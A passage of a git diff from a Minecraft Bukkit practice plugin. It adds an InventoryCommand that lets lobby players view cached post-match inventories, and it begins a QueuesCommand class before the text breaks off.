a/Practice/src/main/java/me/redis/practice/misc/commands/InventoryCommand.java b/Practice/src/main/java/me/redis/practice/misc/commands/InventoryCommand.java new file mode 100644 index 0000000..2cd21de --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/misc/commands/InventoryCommand.java @@ -0,0 +1,50 @@ +package me.redis.practice.misc.commands; + +import me.redis.practice.Practice; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.match.cache.MatchCache; +import me.redis.practice.profile.Profile; +import me.redis.practice.utils.command.ExecutableCommand; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.OfflinePlayer; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class InventoryCommand extends ExecutableCommand { + public InventoryCommand() { + super("_"); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (!(sender instanceof Player)) { + return true; + } + + Player player = (Player) sender; + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (args.length == 0) { + player.sendMessage(ChatColor.RED + "Usage: /_ "); + return true; + } + + OfflinePlayer target = Bukkit.getOfflinePlayer(args[0]); + + if (target == null) { + return true; + } + + if (profile.getStatus() != ProfileStatus.LOBBY) { + return true; + } + + if (MatchCache.inventories.containsKey(target.getUniqueId())) { + player.openInventory(MatchCache.inventories.get(target.getUniqueId())); + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/misc/commands/QueuesCommand.java b/Practice/src/main/java/me/redis/practice/misc/commands/QueuesCommand.java new file mode 100644 index 0000000..fb4daa1 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/misc/commands/QueuesCommand.java @@ -0,0 +1,44 @@ +package me.redis.practice.misc.commands; + +import me.redis.practice.Practice; +import me.redis.practice.utils.TimeUtil; +import me.redis.practice.utils.command.ExecutableCommand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; + +public class QueuesCommand extends ExecutableCommand { + public QueuesCommand() { + super("queue"); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (args.length != 1) { + sender.sendMessage(ChatColor.RED + "Usage: /" + label + "